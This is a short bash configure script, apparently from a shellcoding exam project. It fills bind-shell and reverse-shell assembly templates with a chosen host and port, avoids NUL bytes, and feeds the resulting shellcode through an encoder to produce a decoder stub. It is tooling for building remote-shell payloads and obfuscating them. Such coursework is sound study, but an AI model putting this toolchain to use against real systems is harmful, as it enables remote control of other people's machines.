configure

#!/bin/bash

# Configure script that tweaks shellcode per provided user options (for instance
# defining the host and port). This is a requirement for the exam.

cfg_err()
{
	echo $@! >&2
	exit 1
}

cfg_host()
{
	echo -n 0x
	echo $1|tr . '\n'|tac|while read n; do
		printf "%02x" $n
	done
}

cfg_nuls_host()
{
	echo $1|tr . '\n'|grep -q "^0" || return
	cfg_err "Host contains NUL bytes"
}

cfg_nuls_port()
{
	printf "%04x" $1|grep -o ..|grep -q 00 || return
	cfg_err "Port contains NUL bytes"
}

cfg_port()
{
	echo -n 0x
	printf "%04x" $1|grep -o ..|tac|tr -d '\n'
}

cfg_usage()
{
	echo "${0##*/} [-h rhost] [-l lport] [-r rhost] [-s shellcode]" >&2
	exit 1
}

while getopts "h:l:r:s:" ch; do
	case $ch in
	h) cfg_rhost="$OPTARG";;	# Remote host used by the reverse shell.
	l) cfg_lport="$OPTARG";;	# Local host used by the bind shell.
	r) cfg_rport="$OPTARG";;	# Remote port user by the reverse shell.
	s) cfg_shell="$OPTARG";;	# Path to a generated shellcode.
	*) cfg_usage;;
	esac
done
shift $((OPTIND - 1))

cfg_lport="${cfg_lport-4242}"		# Default to a local port of 4242/tcp.
cfg_rhost="${cfg_rhost-127.1.1.1}"	# Default to a remote host of 127.1.1.1.
cfg_rport="${cfg_rport-4242}"		# Default to a remote port 4242/tcp.
cfg_shell="${cfg_shell-0x01-bind/bind}"	# Default to the bind shell, if exists.

cfg_nuls_port $cfg_lport || cfg_lport=`cfg_port $cfg_lport`
cfg_nuls_host $cfg_rhost || cfg_rhost=`cfg_host $cfg_rhost`
cfg_nuls_port $cfg_rport || cfg_rport=`cfg_port $cfg_rport`

echo "Using listening port: $cfg_lport"
echo "Using remote host: $cfg_rhost"
echo "Using remote port: $cfg_rport"

sed -e "s,PORT,$cfg_lport," 0x01-bind/*.in >0x01-bind/bind.asm
sed -e "s,HOST,$cfg_rhost,"	\
    -e "s,PORT,$cfg_rport,"	\
    0x02-reverse/*.in >0x02-reverse/reverse.asm
test -e "$cfg_shell" || cfg_err "Shellcode not found; not configuring encoder"

echo "Using shellcode: $cfg_shell"
cfg_shell=`asm-opcodes $cfg_shell`
cfg_shell=`echo -e $cfg_shell`
cfg_shell=`python 0x04-encoder/encoder.py "$cfg_shell"|tail -n1`
sed -e "s#SHELLCODE#$cfg_shell#" 0x04-encoder/*.in >0x04-encoder/decoder.asm